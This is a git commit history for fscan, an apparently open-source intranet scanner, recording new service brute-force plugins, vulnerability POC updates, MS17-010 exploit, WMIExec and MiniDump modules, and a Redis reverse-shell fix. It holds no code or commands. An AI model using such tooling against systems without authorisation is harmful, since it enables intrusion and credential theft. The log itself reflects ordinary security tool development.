shadow1ng 5c8088ff32 恢复-nopoc功能 2025-02-25 20:05:35 +08:00
shadow1ng 8170515236 update README.md 2025-02-25 15:03:28 +08:00
shadow1ng f27d9b31aa update README.md 2025-02-25 15:01:45 +08:00
RJ45_LAB d05641a7fc Update etcd-v3-unauth.yml
修复误报
2025-02-17 17:37:49 +08:00
ZacharyZcR 3e04e7801f Merge pull request #429 from LTP414/dev
Get commandline from ENV
2025-02-15 05:00:32 +08:00
ZacharyZcR 4aaa05f6a4 fix: 暂时去除mips相关 2025-02-14 20:45:44 +08:00
ZacharyZcR 42f8052b96 Merge pull request #399 from shadow1ng/dev
2.0.0版本合并
2025-02-14 20:17:17 +08:00
ZacharyZcR 150d62824c doc: 更新README.md 2025-02-14 20:16:41 +08:00
ZacharyZcR c3219848ef merge: 解决问题 2025-02-14 19:56:12 +08:00
ZacharyZcR 7312da8af8 merge: 解决问题 2025-02-14 19:34:45 +08:00
ZacharyZcR 3beb6b42b2 Merge branch 'main' of https://github.com/shadow1ng/fscan into dev
# Conflicts:
#	common/ParseIP.go   resolved by dev version
2025-02-14 19:33:50 +08:00
ZacharyZcR 18aae783c6 fix: Web扫描的Bug 2025-02-14 18:50:19 +08:00
LTP414 8e59c8f09c Get commandline from ENV 2025-02-09 00:15:41 +08:00
r00t 3ae0f306c1 Revert "Update mysql.go"
This reverts commit cc9d292bdd.
2025-02-07 19:21:45 +08:00
r00t cc9d292bdd Update mysql.go
Added a loop for databases to prevent certain non-existing mysql databases from being assumed not to have weak passwords
2025-02-07 19:14:07 +08:00
ZacharyZcR 46e0472ec1 feat: i18n 2025-02-07 13:10:38 +08:00
ZacharyZcR 3dde342d65 feat: i18n 2025-02-07 13:10:06 +08:00
ZacharyZcR eb8cda3b7f perf: 优化注释 2025-02-07 12:08:14 +08:00
ZacharyZcR bcb326dbef perf: 优化本地扫描 2025-02-07 12:08:06 +08:00
ZacharyZcR 102d100c25 perf: 优化代码结构 2025-02-07 11:39:04 +08:00
r00t b8a591920b Update springboot-cve-2021-21234.yml
Update springboot-cve-2021-21234.yml
2025-01-26 22:02:59 +08:00
ZacharyZcR c94ec76292 fix: 降级go版本适应环境 2025-01-15 15:49:22 +08:00
ZacharyZcR 65b94465fe Merge branch 'dev' of https://github.com/shadow1ng/fscan into dev 2025-01-15 15:17:22 +08:00
影舞者 d367be0c68 Merge pull request #409 from INT2ECALL/dev
add etcd v3 poc
2025-01-15 15:14:18 +08:00
ZacharyZcR cdbc0e02f3 refactor: 修改日志显示等级 2025-01-15 15:14:15 +08:00
ZacharyZcR f20aadb745 refactor: 默认不开启进度条 2025-01-15 15:10:01 +08:00
ZacharyZcR 97e9ac7161 feat: 分离结果输出和日志 2025-01-14 23:38:58 +08:00
ZacharyZcR c6c613a17b fix: 去掉不完善的SYN扫描 2025-01-14 13:06:24 +08:00
ZacharyZcR a245934cf2 Merge branch 'dev' of https://github.com/shadow1ng/fscan into dev 2025-01-12 22:26:43 +08:00
ZacharyZcR 0235bf5af5 fix: -hf的一个问题 修复#412的问题 2025-01-12 22:26:18 +08:00
ZacharyZcR e2c8dd8b1f Merge pull request #412 from BaiMeow/patch-1
Fix 192.168 should mask 16
2025-01-12 21:31:30 +08:00
ZacharyZcR e624c3092f Merge pull request #413 from adeljck/dev
更新了漏洞扫描时,详细信息输出错误的问题
2025-01-12 21:29:46 +08:00
ZacharyZcR 86b6faec79 fix: 修复一些逻辑问题 2025-01-09 23:32:50 +08:00
r00t 8f2226987d Update Check.go
Bug Fix
2025-01-07 18:44:11 +08:00
柏喵Sakura a852bc569f Fix 192.168 should mask 16 2025-01-07 17:59:02 +08:00
RJ45_LAB 2da0804b7f add etcd poc
add etcd poc
2025-01-06 17:38:18 +08:00
ZacharyZcR 235e2aee60 refactor: 调整逻辑,修复SMB2的一个跳出问题 2025-01-04 17:00:03 +08:00
ZacharyZcR af06345aa5 refactor: 调整扫描逻辑 2025-01-04 14:04:41 +08:00
ZacharyZcR 75aeee5215 feat: 优化域探测显示,调整Web扫描逻辑 2025-01-04 11:49:59 +08:00
ZacharyZcR a42ee523b0 feat: 增加端口识别,修复插件总超时 2025-01-03 16:29:54 +08:00
ZacharyZcR a603e13d3b perf: 优化进度条 2025-01-01 08:27:13 +08:00
ZacharyZcR ceede3cd68 refactor: 输出格式重构,去掉所有插件的多线程,因为多线程会导致结果不准确,加入进度条 2025-01-01 07:18:36 +08:00
ZacharyZcR 277ea5d332 refactor: 输出格式重构,重构SMB、SMB2、FTP的一些验证逻辑 2025-01-01 05:24:49 +08:00
ZacharyZcR d13e1952e9 fix: 修复了RDP的一个死锁问题 2025-01-01 00:50:36 +08:00
ZacharyZcR df4d39fb1f fix: 修复了SMB的一个已知问题 2025-01-01 00:39:39 +08:00
ZacharyZcR e93b6fc613 fix: 修复了RPC的一个已知问题 2025-01-01 00:04:53 +08:00
ZacharyZcR 42482228da fix: 修复了FTP的一个已知问题 2024-12-31 20:42:08 +08:00
ZacharyZcR c004762a8c refactor: 全部优化为多线程 2024-12-31 20:25:54 +08:00
ZacharyZcR ed69e41001 refactor: 对Redis环境做了优化,输出优化 2024-12-31 19:41:21 +08:00
ZacharyZcR 5e06a0b2b7 Merge branch 'dev' of https://github.com/shadow1ng/fscan into dev 2024-12-28 06:39:16 +08:00
ZacharyZcR 2ce7041c95 refactor: 去掉UDP扫描、优化了DCInfo和MiniDump的检测机制 2024-12-28 06:38:44 +08:00
ZacharyZcR 0954492540 refactor: 增加约束编译 2024-12-28 06:34:37 +08:00
ZacharyZcR ee1d176a8f refactor: 重构WMIExec模块 2024-12-28 06:02:01 +08:00
ZacharyZcR ef70395d7d feat: 增加MiniDump插件 2024-12-28 05:43:38 +08:00
ZacharyZcR 907b92863e feat: 增加域环境扫描 2024-12-28 05:43:22 +08:00
ZacharyZcR befaa28bbd feat: 增加域环境扫描 2024-12-28 05:32:43 +08:00
shadow1ng 679c25eb38 update 2024-12-23 11:11:38 +08:00
ZacharyZcR ad9cafe0ad docs: Fscan2.0介绍更新 2024-12-23 07:49:04 +08:00
ZacharyZcR 40e8f6621d feat: 增加Neo4j扫描和测试环境 2024-12-23 07:15:25 +08:00
ZacharyZcR fe1b92cc98 feat: 增加Cassandra扫描和测试环境 2024-12-23 07:04:12 +08:00
ZacharyZcR 0a9c732ee8 feat: 增加Rsync扫描和测试环境 2024-12-23 06:43:44 +08:00
ZacharyZcR 94121a796f feat: 增加Modbus扫描和测试环境 2024-12-23 06:16:35 +08:00
ZacharyZcR fa1d787c84 refactor: UDP扫描换用Nmap 2024-12-23 04:36:03 +08:00
ZacharyZcR 1a5f789ba8 feat: 增加Weblogic测试环境 2024-12-23 04:04:48 +08:00
ZacharyZcR 57b6d41737 feat: 增加Tomcat测试环境 2024-12-23 03:42:46 +08:00
ZacharyZcR 1f860f22c8 feat: 增加Tomcat扫描 2024-12-23 03:42:34 +08:00
ZacharyZcR 6ba42c8c39 feat: 增加Zabbix测试环境 2024-12-23 03:30:19 +08:00
ZacharyZcR 016dfa7889 feat: 增加Zabbix扫描 2024-12-23 03:30:13 +08:00
ZacharyZcR 1906acf551 perf: 优化UDP扫描逻辑 2024-12-23 03:15:14 +08:00
ZacharyZcR 26525dbb0e feat: 增加SNMP测试环境 2024-12-23 03:00:07 +08:00
ZacharyZcR 3529efcb24 feat: 增加SNMP扫描 增加UDP端口扫描 2024-12-23 02:59:59 +08:00
ZacharyZcR 9e8726e1f8 feat: 增加POP3测试环境 2024-12-23 02:21:25 +08:00
ZacharyZcR 5524300824 feat: 增加POP3扫描 2024-12-23 02:21:17 +08:00
ZacharyZcR c62e19ad26 feat: 增加IMAP测试环境 2024-12-23 01:50:27 +08:00
ZacharyZcR 7bded7bc31 feat: 增加IMAP扫描 2024-12-23 01:50:20 +08:00
ZacharyZcR 8f5d0caaf2 refactor: 去掉WMIexec在默认执行的位置 2024-12-23 01:17:39 +08:00
ZacharyZcR 46f9ab84b1 feat: 增加端口SYN扫描 2024-12-22 10:53:36 +08:00
ZacharyZcR 04ee3afb07 docs: 2.0使用指南 2024-12-22 05:17:40 +08:00
ZacharyZcR a5738304a1 feat: 增加SMTP测试环境 2024-12-22 04:40:07 +08:00
ZacharyZcR 66e52791f7 feat: 增加SMTP扫描 2024-12-22 04:39:58 +08:00
ZacharyZcR 760246b7e0 feat: 增加LDAP测试环境 2024-12-22 04:13:54 +08:00
ZacharyZcR ee8f52c199 feat: 增加LDAP扫描 2024-12-22 04:13:47 +08:00
ZacharyZcR dfe74fc5b4 fix: 暂时修复编译问题 2024-12-22 04:02:27 +08:00
ZacharyZcR f06013326f feat: 增加ActiveMQ测试环境 2024-12-22 04:01:41 +08:00
ZacharyZcR 4d6b529768 feat: 增加ActiveMQ扫描 2024-12-22 04:01:33 +08:00
ZacharyZcR bbbc4317df fix: 修复Kafka扫描 2024-12-22 03:28:53 +08:00
ZacharyZcR 1b9c9a00fe feat: 增加Kafka测试环境 2024-12-22 03:28:35 +08:00
ZacharyZcR cfea0afd9c feat: 增加Kafka扫描 2024-12-22 03:18:46 +08:00
ZacharyZcR 70d008ba69 feat: 增加RabbitMQ测试环境 2024-12-22 03:03:42 +08:00
ZacharyZcR eb1b0f32a6 refactor: 重构扫描模式逻辑 2024-12-22 02:58:55 +08:00
ZacharyZcR e70a1a7bd2 feat: 增加RabbitMQ扫描 2024-12-22 02:48:59 +08:00
ZacharyZcR 8be8f94d82 feat: 增加单独的Elasticsearch扫描 2024-12-22 02:31:56 +08:00
ZacharyZcR 2e3ccee2e0 perf: 优化输出说明 2024-12-22 02:31:29 +08:00
ZacharyZcR eab41f6018 docs: 更新文档说明 2024-12-21 22:13:10 +08:00
ZacharyZcR c5dcf2c633 refactor: 重构扫描模式逻辑 2024-12-21 18:26:44 +08:00
ZacharyZcR d192b7fc2a feat: 增加本地扫描Flag 2024-12-21 18:26:19 +08:00
ZacharyZcR 44c1a207dd Merge branch 'dev' of https://github.com/shadow1ng/fscan into dev
# Conflicts:
#	Plugins/RDP.go   resolved by origin/dev(远端) version
2024-12-21 17:21:57 +08:00
ZacharyZcR 33cb33b1ad perf: 统一错误输出 2024-12-21 17:21:41 +08:00
shadow1ng 17c85431ca update 2024-12-21 13:13:12 +08:00
shadow1ng 8767c9bae4 update 2024-12-21 13:10:52 +08:00
ZacharyZcR 2bfd58663c fix: 修复多线程问题 2024-12-21 02:00:16 +08:00
ZacharyZcR b7d4e185aa feat: 添加FTP测试靶场 2024-12-21 02:00:04 +08:00
ZacharyZcR 497bc2e86b fix: SSH连接超时问题 2024-12-20 21:01:56 +08:00
ZacharyZcR 9cd137c099 fix: SSH连接超时问题 2024-12-20 20:57:27 +08:00
ZacharyZcR 1313916081 fix: SSH连接超时问题 2024-12-20 20:44:59 +08:00
ZacharyZcR e7d9354284 feat: 添加Telnet测试靶场 2024-12-20 20:16:03 +08:00
ZacharyZcR 5789017d1a feat: 添加Telnet扫描 2024-12-20 20:15:55 +08:00
ZacharyZcR 878595e341 feat: 添加Mongodb测试靶场 2024-12-20 19:53:20 +08:00
ZacharyZcR c7b6e21d39 feat: 添加Memcached测试靶场 2024-12-20 19:51:29 +08:00
ZacharyZcR e6545417b8 feat: 添加Redis测试靶场 2024-12-20 19:49:22 +08:00
ZacharyZcR 3fe6e3eec5 feat: 添加Oracle测试靶场 2024-12-20 19:45:44 +08:00
ZacharyZcR 5190d63680 feat: 添加Oracle测试靶场 2024-12-20 19:45:35 +08:00
ZacharyZcR daec3c1ca4 feat: 添加MSSQL测试靶场 2024-12-20 19:45:24 +08:00
ZacharyZcR 763da727ac feat: 添加Postgre测试靶场 2024-12-20 19:35:26 +08:00
ZacharyZcR 92217f572f feat: 添加MySQL测试靶场 2024-12-20 19:12:46 +08:00
ZacharyZcR bf1b45f407 feat: 添加SSH测试靶场 2024-12-20 19:08:49 +08:00
ZacharyZcR 672dfee2ac feat: 添加SSH 2222端口 2024-12-20 19:08:40 +08:00
ZacharyZcR 57e0cc06e1 feat: 添加VNC测试靶场 2024-12-20 19:02:51 +08:00
ZacharyZcR 375a1e4673 refactor: 端口支持改为列表 2024-12-20 18:38:13 +08:00
ZacharyZcR 8f1c5dbae9 refactor: 默认扫描机制 2024-12-20 17:54:36 +08:00
ZacharyZcR 92c03e95a9 Merge branch 'dev' of https://github.com/shadow1ng/fscan into dev 2024-12-20 17:32:47 +08:00
ZacharyZcR 4da94448cb refactor: 大型重构 2024-12-20 17:32:25 +08:00
shadow1ng 2f7d020e9f update 2024-12-20 16:30:58 +08:00
ZacharyZcR 9c0fcd98fe Merge branch 'dev' of https://github.com/shadow1ng/fscan into dev 2024-12-20 14:19:46 +08:00
ZacharyZcR 1278a0355f refactor: 大型重构 2024-12-20 14:19:23 +08:00
shadow1ng 0152428748 updata 2024-12-20 11:36:15 +08:00
ZacharyZcR bdeabec67e refactor: 大型重构 2024-12-20 03:46:09 +08:00
ZacharyZcR c0b7f4ca4f feat: 添加VNC测试靶场 2024-12-20 03:01:26 +08:00
ZacharyZcR ef2c20bf4e feat: 添加VNC扫描功能 2024-12-20 03:00:48 +08:00
影舞者 2481ca4184 Update release.yml 2024-12-19 23:09:26 +08:00
影舞者 9ee51a96d8 Update release.yml 2024-12-19 23:09:06 +08:00
影舞者 40b6dbcd1c Merge pull request #395 from ZacharyZcR/main
Fscan 2.0.0 完整代码重构、新增本地信息搜集插件
2024-12-19 23:02:18 +08:00
影舞者 59cc462467 Update Eval.go 2024-12-19 23:01:17 +08:00
影舞者 1bafa4d6f5 Update Eval.go 2024-12-19 22:59:28 +08:00
影舞者 01ae22119d Update Rules.go 2024-12-19 22:42:38 +08:00
影舞者 45a861d4f1 Update WebTitle.go 2024-12-19 22:41:07 +08:00
影舞者 c3c413ebc0 Update WMIExec.go 2024-12-19 22:40:19 +08:00
影舞者 1cfedda2ce Update SmbGhost.go 2024-12-19 22:38:32 +08:00
影舞者 08ba177f52 Update SMB2.go 2024-12-19 22:36:49 +08:00
影舞者 346ece01f6 Update SMB.go 2024-12-19 22:35:53 +08:00
影舞者 95d806d4a9 Update RDP.go 2024-12-19 22:34:49 +08:00
影舞者 f3ba1acd75 Update Postgres.go 2024-12-19 22:34:09 +08:00
影舞者 e34b737b87 Update Oracle.go 2024-12-19 22:33:31 +08:00
影舞者 96798b6fa3 Update NetBIOS.go 2024-12-19 22:32:11 +08:00
影舞者 8837f61197 Update MySQL.go 2024-12-19 22:31:09 +08:00
影舞者 8984ae52a3 Update Mongodb.go 2024-12-19 22:30:29 +08:00
影舞者 d6349a9d88 Update Memcached.go 2024-12-19 22:29:55 +08:00
影舞者 2969cac802 Update MSSQL.go 2024-12-19 22:29:23 +08:00
影舞者 de076d1a13 Update MS17010.go 2024-12-19 22:28:29 +08:00
影舞者 75cd097e35 Update FindNet.go 2024-12-19 22:27:28 +08:00
影舞者 1418487735 Update FcgiScan.go 2024-12-19 22:26:48 +08:00
影舞者 39dabbfb9e Update SSH.go 2024-12-19 22:25:49 +08:00
影舞者 035bf862a3 Update FTP.go 2024-12-19 22:23:59 +08:00
影舞者 5c05965967 Update ICMP.go 2024-12-19 22:17:09 +08:00
影舞者 6ee7bab188 Update ruoyi-management-fileread.yml 2024-12-19 20:39:51 +08:00
影舞者 2c1bdd98ee Update yonyou-u8-oa-sqli.yml 2024-12-19 20:20:43 +08:00
影舞者 ce211fef78 Update ruoyi-management-fileread.yml 2024-12-19 20:16:49 +08:00
影舞者 97b205f4a7 Update seeyon-a6-test-jsp-sql.yml 2024-12-19 20:15:32 +08:00
ZacharyZcR 7dbb6b652f docs: 添加插件编写指南 2024-12-19 19:51:43 +08:00
ZacharyZcR a0c648c5a2 version: 2.0.0版本更新 2024-12-19 19:40:40 +08:00
ZacharyZcR 1deeb8bb71 refactor: 重构SSH扫描部分,超时生效 2024-12-19 19:31:32 +08:00
ZacharyZcR 85778a9773 perf: 优化部分输出 2024-12-19 19:30:54 +08:00
ZacharyZcR c8687827ac refacor: 结构化修改 2024-12-19 16:15:53 +08:00
ZacharyZcR 0cfbf40baf fix: Log.go文件的已知错误 2024-12-19 16:11:04 +08:00
ZacharyZcR b14510fa52 version: 2.0.0版本更新 2024-12-19 15:25:41 +08:00
ZacharyZcR b857dd4fa7 refacor: 结构化更改 2024-12-19 15:24:10 +08:00
ZacharyZcR fc94e4ee0d perf: 优化SmbGhost.go的代码,添加注释,规范输出 2024-12-19 15:14:54 +08:00
ZacharyZcR dfc84e9813 perf: 优化插件打印信息 2024-12-19 15:13:38 +08:00
ZacharyZcR 6a84d0cf8a refacor: 大小写敏感 2024-12-19 14:54:15 +08:00
ZacharyZcR 38ea172e26 refacor: 大小写敏感 2024-12-19 14:52:11 +08:00
ZacharyZcR 2ce84dc517 perf: 优化Shiro.go的代码,添加注释,规范输出 2024-12-19 14:50:05 +08:00
ZacharyZcR 7f62d4a835 perf: 优化Check.go的代码,添加注释,规范输出 2024-12-19 14:49:58 +08:00
ZacharyZcR 9296ad0846 perf: 优化WebScan.go的代码,添加注释,规范输出 2024-12-19 14:49:52 +08:00
ZacharyZcR 6d499dae10 perf: 优化InfoScan.go的代码,添加注释,规范输出 2024-12-19 14:49:45 +08:00
ZacharyZcR 4d3ccba255 perf: 优化Eval.go的代码,添加注释,规范输出 2024-12-19 14:26:30 +08:00
ZacharyZcR 02eb3d6f7a perf: 优化Client.go的代码,添加注释,规范输出 2024-12-19 14:26:20 +08:00
ZacharyZcR 6a33a65c94 perf: 优化WebTitile.go的代码,添加注释,规范输出 2024-12-19 14:15:58 +08:00
ZacharyZcR d860eb63b3 perf: 优化WMIExec.go的代码,添加注释,规范输出 2024-12-19 14:15:49 +08:00
ZacharyZcR b1883ca707 perf: 优化Redis.go的代码,添加注释,规范输出 2024-12-19 14:09:23 +08:00
ZacharyZcR 468447861c perf: 优化FindNet.go输出格式 2024-12-19 14:09:04 +08:00
ZacharyZcR 88d3fe489d perf: 优化Base.go输出格式 2024-12-19 14:08:53 +08:00
ZacharyZcR 728f6c78b5 fix: 修复一个命名Bug 2024-12-18 23:41:01 +08:00
ZacharyZcR 0349952dd1 perf: 优化RDP.go的代码,添加注释,规范输出 2024-12-18 23:40:47 +08:00
ZacharyZcR 352cbd44be perf: 优化Postgre.go的代码,添加注释,规范输出 2024-12-18 23:40:41 +08:00
ZacharyZcR cd6809e775 perf: 优化PortScan.go的代码,添加注释,规范输出 2024-12-18 23:40:35 +08:00
ZacharyZcR 79343b1722 perf: 优化Oracle.go的代码,添加注释,规范输出 2024-12-18 23:40:26 +08:00
ZacharyZcR 5cc6687248 perf: 优化MySQL.go的代码,添加注释,规范输出 2024-12-18 23:40:19 +08:00
ZacharyZcR dd8514784e perf: 优化Mongodb.go的代码,添加注释,规范输出 2024-12-18 23:40:11 +08:00
ZacharyZcR 6a452d5959 perf: 优化Memcached.go的代码,添加注释,规范输出 2024-12-18 23:40:03 +08:00
ZacharyZcR 35fc0fadc5 perf: 优化MSSQL.go的代码,添加注释,规范输出 2024-12-18 23:39:45 +08:00
ZacharyZcR ec30b0d2a4 perf: 优化MS17010.go的代码,添加注释,规范输出 2024-12-18 23:39:37 +08:00
ZacharyZcR e39363dce0 perf: 优化MS17010-Exp.go的代码,添加注释,规范输出 2024-12-18 23:39:29 +08:00
ZacharyZcR 59e5b88600 perf: 优化ICMP.go的代码,添加注释,规范输出 2024-12-18 23:39:18 +08:00
ZacharyZcR 23fea2c290 perf: 优化FindNet.go的代码,添加注释,规范输出 2024-12-18 23:39:13 +08:00
ZacharyZcR 5ad4c1a580 perf: 优化FTP.go的代码,添加注释,规范输出 2024-12-18 23:38:49 +08:00
ZacharyZcR 8d5806e456 perf: 优化Base.go的代码,添加注释,规范输出 2024-12-18 23:38:24 +08:00
ZacharyZcR 66125a3a2d perf: 优化Flag.go的代码,添加注释,规范输出 2024-12-18 22:25:22 +08:00
ZacharyZcR 1d0676e508 perf: 优化Log.go的代码,添加注释,规范输出 2024-12-18 22:24:11 +08:00
ZacharyZcR 9433741471 perf: 优化Proxy.go的代码,添加注释,规范输出 2024-12-18 22:20:45 +08:00
ZacharyZcR ec346409f7 perf: 优化ParsePort.go的代码,添加注释,规范输出 2024-12-18 22:19:40 +08:00
ZacharyZcR 56c4453c7f perf: 优化ParseIP.go的代码,添加注释,规范输出 2024-12-18 22:17:08 +08:00
ZacharyZcR 0eeda0879d perf: 优化Parse.go的代码,添加注释,规范输出 2024-12-18 22:06:38 +08:00
ZacharyZcR 5d9bcaaadc refactor: 规范化文件命名 2024-12-18 22:00:18 +08:00
ZacharyZcR ab14b15864 refactor: 重构涉及文件更新 2024-12-18 21:56:08 +08:00
ZacharyZcR cae98e7d90 refactor: 重构映射 2024-12-18 21:55:39 +08:00
ZacharyZcR f35a259f11 refactor: SSH模块重构 2024-12-18 15:19:53 +08:00
ZacharyZcR e15f8e8cc0 refactor: SMB2模块重构 2024-12-18 15:19:47 +08:00
ZacharyZcR 42908d3319 refactor: SMB模块重构 2024-12-18 15:19:41 +08:00
ZacharyZcR 77d59c1e6b refactor: ScanType部分重构 2024-12-18 15:19:27 +08:00
ZacharyZcR 02dfcebcc5 refactor: Scanner Scan函数重构 2024-12-18 15:18:58 +08:00
ZacharyZcR 624ab9bab0 feat: .gitignore 2024-12-18 15:18:38 +08:00
ZacharyZcR 5ad5af884e feat: 添加localinfo模块 2024-12-18 15:18:18 +08:00
shadow1ng 3dfd2e9e30 update 2024-10-25 16:41:19 +08:00
shadow1ng d01df95dba update 2024-08-29 15:12:30 +08:00
shadow1ng 513bb93e1b update 2024-08-29 09:50:32 +08:00
shadow1ng e433c635dd GitHub action go-version: 1.20.14 2024-06-15 17:10:56 +08:00
shadow1ng 509f53f4b3 降级go-ora到v2.5.29,避免混淆工具编译失败 2024-05-27 16:00:33 +08:00
shadow1ng d470a91d55 优化报错处理 2024-05-11 16:09:14 +08:00
shadow1ng a11b769603 Merge remote-tracking branch 'origin/main' 2024-05-11 16:04:48 +08:00
shadow1ng 1d9b6528dd 优化报错处理 2024-05-11 16:04:02 +08:00
影舞者 0fd6658bce Merge pull request #341 from LI-Mingyu/main
Fix #334
2024-04-19 15:11:03 +08:00
Mingyu Li 15f3864db2 Fix #334
Fix #334 redis反弹shell在ubuntu系统下出现
`-ERR Changing directory: No such file or directory`
2024-04-18 01:24:15 +08:00
影舞者 eefd29d102 Merge pull request #329 from scyxdd/fix-webtitle
修复获取WebTitle的Bug
2024-01-15 16:31:14 +08:00
scyxdd 66671cd4cf 修复获取WebTitle的Bug 2024-01-15 16:22:40 +08:00
shadow1ng 19d969acd2 屏蔽go内部库报错日志 2023-12-25 17:57:28 +08:00
影舞者 276b446e0c Update 2023-11-15 12:07:25 +08:00
影舞者 15cdc19097 Update 2023-11-15 10:40:17 +08:00
影舞者 197b0884a1 Update 2023-11-15 00:02:28 +08:00
影舞者 0cf8b8c180 Update 2023-11-14 23:06:49 +08:00
影舞者 c5adbdb551 Update 2023-11-14 18:33:26 +08:00
影舞者 5dc1c4ee5e Update 2023-11-13 17:41:54 +08:00
影舞者 1c631133ad Update 2023-11-13 16:23:19 +08:00
影舞者 6bf396d09f Update 1.8.3 2023-11-13 12:42:02 +08:00
影舞者 7f7ae9dc65 Merge pull request #298 from a-urth/main
Add colored output
2023-11-13 11:59:44 +08:00
影舞者 b46090d196 Update check.go 2023-11-13 11:59:04 +08:00
影舞者 f51291512c Update check.go 2023-11-13 11:57:13 +08:00
影舞者 7eb2bccde7 Update check.go 2023-11-13 11:56:35 +08:00
影舞者 5cc16fe079 Update go.sum 2023-11-13 11:53:32 +08:00
影舞者 af1c30a86e Update go.mod 2023-11-13 11:53:08 +08:00
影舞者 2ca79f2979 Update README.md 2023-11-13 11:50:59 +08:00
影舞者 490a272e4b Update main.go 2023-11-13 11:48:21 +08:00
影舞者 362d23e577 Update config.go 2023-11-13 11:47:33 +08:00
影舞者 464128cdee Update proxy.go 2023-11-13 11:43:24 +08:00
影舞者 57eeb41453 Update flag.go 2023-11-13 11:42:04 +08:00
影舞者 989389fd52 Update log.go 2023-11-13 11:41:26 +08:00
影舞者 5d154ce6a1 Update ParseIP.go 2023-11-13 11:37:53 +08:00
影舞者 59983affb7 Update Parse.go 2023-11-13 11:36:13 +08:00
影舞者 29acfb166b Update eval.go 2023-11-13 11:34:42 +08:00
影舞者 53c1b3232a Update client.go 2023-11-13 11:34:23 +08:00
影舞者 608b2e2c87 Update client.go 2023-11-13 11:32:28 +08:00
影舞者 99d526d7d0 Update check.go 2023-11-13 11:31:30 +08:00
影舞者 5ff8b781c8 Update WebScan.go 2023-11-13 11:28:58 +08:00
影舞者 468381fb18 Update wmiexec.go 2023-11-13 11:28:15 +08:00
影舞者 268f7d2aed Update webtitle.go 2023-11-13 11:27:34 +08:00
影舞者 6cd1ee75f5 Update ssh.go 2023-11-13 11:27:01 +08:00
影舞者 29beca41d0 Update smb2.go 2023-11-13 11:24:44 +08:00
影舞者 dd1fc49f01 Update smb.go 2023-11-13 11:18:25 +08:00
影舞者 acd5a1a8bb Update scanner.go 2023-11-13 11:17:46 +08:00
影舞者 0d717d6676 Update redis.go 2023-11-13 11:16:12 +08:00
影舞者 52c680af0d Update postgres.go 2023-11-13 10:56:54 +08:00
影舞者 8bcbdf1f38 Update rdp.go 2023-11-13 10:56:24 +08:00
影舞者 21f9320ba8 Update portscan.go 2023-11-13 10:53:56 +08:00
影舞者 e2afd85cca Update oracle.go 2023-11-13 10:52:44 +08:00
影舞者 dc945ccf0e Update mysql.go 2023-11-13 10:52:11 +08:00
影舞者 54ba490246 Update mssql.go 2023-11-13 10:51:41 +08:00
影舞者 5e99a7910e Update ms17010.go 2023-11-13 10:50:59 +08:00
影舞者 d5afffafa2 Update ms17010-exp.go 2023-11-13 10:50:28 +08:00
影舞者 0efbd87920 Update mongodb.go 2023-11-13 10:48:18 +08:00
影舞者 88745f55a7 Update memcached.go 2023-11-13 10:47:36 +08:00
影舞者 9d02632dcc Update icmp.go 2023-11-13 10:45:48 +08:00
影舞者 dc0dd7a469 Update ftp.go 2023-11-13 10:43:11 +08:00
影舞者 1773fcbfcc Update findnet.go 2023-11-13 10:41:46 +08:00
影舞者 22d6e16785 Update fcgiscan.go 2023-11-13 10:40:04 +08:00
影舞者 afe9a0228f Update NetBIOS.go 2023-11-13 10:29:43 +08:00
影舞者 019544cd07 Update NetBIOS.go 2023-11-13 10:24:07 +08:00
影舞者 fddfd08d01 Update CVE-2020-0796.go 2023-11-13 10:22:32 +08:00
影舞者 8573f8c233 Merge pull request #303 from SleepingBag945/main
修复findnet中文主机名乱码
2023-11-13 10:02:36 +08:00
影舞者 9f12983f34 修复findnet中文主机名乱码 2023-11-13 10:02:12 +08:00
影舞者 eac7f93fcc 设置tls最低版本为1.0 2023-11-13 09:48:54 +08:00
影舞者 5242388522 Merge remote-tracking branch 'origin/main' 2023-11-13 09:45:59 +08:00
影舞者 79fa3a8920 设置tls最低版本为1.0 2023-11-13 09:45:39 +08:00
SleepingBag945 2d10162749 修复findnet中文主机名乱码 2023-08-28 03:58:19 +02:00
Andrii Ursulenko a2a4afc41d Merge pull request #2 from artemkomyshan/refactoring
Translation in main
2023-07-26 12:39:37 +03:00
ph 96b7a93034 Translation in main 2023-07-26 12:35:34 +03:00
Andrii Ursulenko 1e01f27a99 Merge pull request #1 from artemkomyshan/refactoring
Refactoring
2023-07-26 12:19:49 +03:00
ph 31aba615ba Merge remote-tracking branch 'au/main' into refactoring 2023-07-26 12:10:27 +03:00
Andrii Ursulenko 18937e1e4a add colored output 2023-07-18 13:43:11 +03:00
影舞者 4cc65afe14 Merge pull request #280 from dksslq/main
输出格式调整
2023-06-29 21:26:32 +08:00
dksslq 430e4e9640 Merge branch 'shadow1ng:main' into main 2023-06-29 21:08:50 +08:00
影舞者 1ce7f4e517 Merge pull request #292 from ruishawn/dev1
fix: add field names to struct literal
2023-06-28 16:48:06 +08:00
xiaobo 8a788427b7 fix: add field names to struct literal 2023-06-26 18:15:09 +08:00
noname 29b746ee80 flags to struct 2023-06-09 08:13:56 -04:00
au 04a7ba1357 initial cleanup 2023-06-05 19:02:55 +03:00
dksslq db38dbdcc7 Add space 2023-05-24 19:57:25 +08:00
dksslq f0cb31a6d2 Remove unused spaces 2023-05-24 19:53:17 +08:00
dksslq d151ea2c7f Remove unused space 2023-05-24 19:49:52 +08:00
dksslq 7bf79b60af Update NetBIOS.go 2023-05-24 19:44:42 +08:00
dksslq 5c119e97ae Add some spaces 2023-05-24 19:43:05 +08:00
影舞者 4cfe02ac2c Merge pull request #272 from wgpsec/main
修复自动化编译问题
2023-05-10 11:18:53 +08:00
影舞者 e14bc5ca14 Merge pull request #260 from Zh0um1/main
支持mongodb6.0未授权扫描
2023-05-10 11:18:30 +08:00
keacwu 857c4c0d4b 修复自动化编译问题 2023-05-09 13:42:17 +08:00
影舞者 58890cd5e6 update 2023-05-05 23:31:28 +08:00
影舞者 978511a7ef update 2023-05-05 21:02:31 +08:00
影舞者 c492386977 优化poc模块正则Set-Cookie时的结果 2023-05-05 18:13:33 +08:00
影舞者 98300cbc9c 优化poc模块正则Set-Cookie时的结果 2023-05-05 18:08:13 +08:00
影舞者 0f01d63d8a 优化poc模块正则Set-Cookie时的结果 2023-05-05 18:06:19 +08:00
影舞者 ecb0cd9e5f Merge pull request #265 from AgeloVito/main
Update eval.go
2023-02-22 16:29:41 +08:00
AgeloVito 7d77fa9016 Update eval.go
1、新增randomString,大小写和数字随机
2、修改randomUppercase(),变量命令不规范
2023-02-22 16:13:51 +08:00
Zh0um1 b401b896f4 支持mongodb6.0未授权扫描 2023-02-04 06:56:16 +00:00
影舞者 eb5558e6d9 Merge pull request #252 from ruishawn/dev2
fix: 精简打印日志模块冗余代码
